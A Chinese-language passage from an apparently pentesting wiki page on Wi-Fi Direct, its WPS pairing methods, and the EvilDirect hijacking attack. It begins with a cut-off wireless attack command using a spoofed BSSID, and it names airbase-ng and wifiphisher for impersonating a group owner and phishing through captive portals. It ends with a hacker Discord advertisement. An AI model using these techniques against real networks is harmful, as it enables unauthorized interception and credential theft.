--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct 是一种协议,使设备可以直接使用 Wi-Fi 连接无需传统无线接入点。这种能力已集成到各种物联网IoT设备中如打印机和电视促进了设备之间的直接通信。Wi-Fi Direct 的一个显著特点是,一个设备扮演访问点的角色,称为组所有者,用于管理连接。

Wi-Fi Direct 连接的安全性是通过 Wi-Fi Protected Setup (WPS) 建立的,支持几种安全配对方法,包括:

  • 按键配置 (PBC)
  • PIN 输入
  • 近场通信 (NFC)

这些方法,特别是 PIN 输入,容易受到传统 Wi-Fi 网络中 WPS 相同的漏洞影响,使它们成为类似攻击向量的目标。

EvilDirect Hijacking

EvilDirect Hijacking 是一种针对 Wi-Fi Direct 的特定攻击。它类似于恶意双胞胎攻击的概念,但针对 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,旨在欺骗设备连接到恶意实体。可以使用诸如 airbase-ng 这样的工具执行此方法通过指定被冒充设备的信道、ESSID 和 MAC 地址:

参考资料

TODO: 查看 https://github.com/wifiphisher/wifiphisher(使用 Facebook 登录和在 captive portals 中模拟 WPA

加入 HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客行为的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解了解快节奏的黑客世界

最新公告
了解最新发布的赏金计划和重要平台更新

加入我们的 Discord,立即与顶尖黑客合作!